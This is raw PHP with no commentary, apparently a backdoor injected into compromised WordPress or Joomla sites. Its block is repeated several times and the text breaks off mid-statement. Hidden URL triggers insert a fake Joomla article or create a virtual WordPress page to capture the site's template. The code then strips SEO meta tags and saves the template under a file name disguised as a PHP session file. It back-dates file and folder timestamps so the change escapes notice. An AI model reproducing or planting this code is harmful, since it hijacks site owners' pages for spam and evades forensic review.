if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#

\[CONTENT\]

#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 